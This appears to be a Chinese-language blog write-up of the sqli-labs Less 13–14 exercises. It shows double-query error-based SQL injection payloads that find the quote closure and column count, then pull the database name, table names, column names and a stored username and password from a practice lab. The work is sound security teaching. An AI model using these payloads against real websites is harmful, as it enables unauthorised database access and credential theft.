Less 13-14(双注入查询)

1. 题目分析

开始,我们发现无论输入什么,网站没有报错信息返回。我们使用普通的基于报错返回的注入语句是无效的。那么双注入就会在我们的脑中一闪而过。

首先判断字段类型,以及检索字段个数。
通过多次尝试:
') or 1=1#
在这里插入图片描述
在这里插入图片描述
发现,字段由')闭合。
然后判断检索字段的个数:
') or 1=1 order by 2#
在这里插入图片描述
在这里插入图片描述
由此可知,检索字段的个数为2。

2. 双注入爆库

之前学习过双注入的内容。正好现在来复习一下。
几个关键语法:floor(rand(0)*2), group by, count(*)

  1. 查当前使用的数据库名字
    ') union select count(*), concat(database(), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #
    在这里插入图片描述
    得知当前使用的数据库名为 security

  2. 获知当前数据库下有哪些数据表
    ') union select count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema="security"), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #

    在这里插入图片描述
    由此得知,security数据库下有4张数据表。分别是emails, referers, uagents, users

  3. 爆破users
    接着,我们就查users表中,所有的用户信息。
    首先要知道users表下有哪些字段。
    ') union select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #
    在这里插入图片描述
    由此得知,users表下有3个字段。id, username, password
    那么下面就是爆破字段的值了。
    ') union select count(*), concat((select concat(username, "::::::",password) from users limit 0,1), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #
    在这里插入图片描述
    这里我们查到了一个用户的信息。账号和密码都是Dumb。我们登录一下看看是否能成功。
    在这里插入图片描述
    可以看到成功了。那么这次的注入也就收尾了。


3. less 14

与往常一样,14和13也是一致的考察。只不过14的闭合方式为"双引号闭合。
给出最后爆破字段值的结果。
" union select count(*), concat((select concat(username, "::::::",password) from users limit 1,1), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值